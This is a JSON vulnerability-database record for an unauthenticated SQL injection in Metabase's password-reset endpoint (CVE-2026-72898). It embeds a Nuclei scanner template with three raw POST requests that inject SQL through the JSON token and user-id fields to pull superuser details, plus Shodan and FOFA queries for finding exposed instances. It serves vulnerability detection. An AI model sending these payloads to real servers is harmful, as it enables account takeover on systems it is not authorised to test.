{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-72898/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-72898/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-72898/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-72898/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-72898/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-72898"},"sightings":{"href":"/api/v1/sightings/cve-2026-72898"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.94217,"kev":true,"percentile":0.99846},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-72898.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-72898\n\ninfo:\n  name: Metabase - Unauthenticated SQL Injection\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.\n  impact: |\n    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.\n  remediation: |\n    Update to the latest version of Metabase.\n  reference:\n    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf\n    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-72898\n    epss-score: 0.94217\n    epss-percentile: 0.99846\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.title:\"Metabase\"\n    fofa-query: title=\"Metabase\"\n    product: metabase\n    vendor: metabase\n  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/session/reset_password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"token\":{\"select\":1},\"password\":\"TestPassword1!\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"should be a string\", \"{:select 1}\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/session/reset_password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"token\":{\"select\":[\"email\",\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1},\"password\":\"TestPassword1!\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"is_superuser\", \"core_user\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/session/reset_password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"token\":\"1_0000\",\"password\":\"TestPassword1!\",\"user-id\":{\"select\":[\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"\\\"errors\\\"\", \"\\\"password\\\"\")'\n          - '!contains(body, \"disallowed key\")'\n        condition: and\n# digest: 490a004630440220247a108c8213a328b649007b3d2ed0fa750292ca366174dd2b94758172524326022006c612e94363c0d55487d6c7941af1025d70faf5e3c49afd0d5f1ca5412c68b8:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-72898"}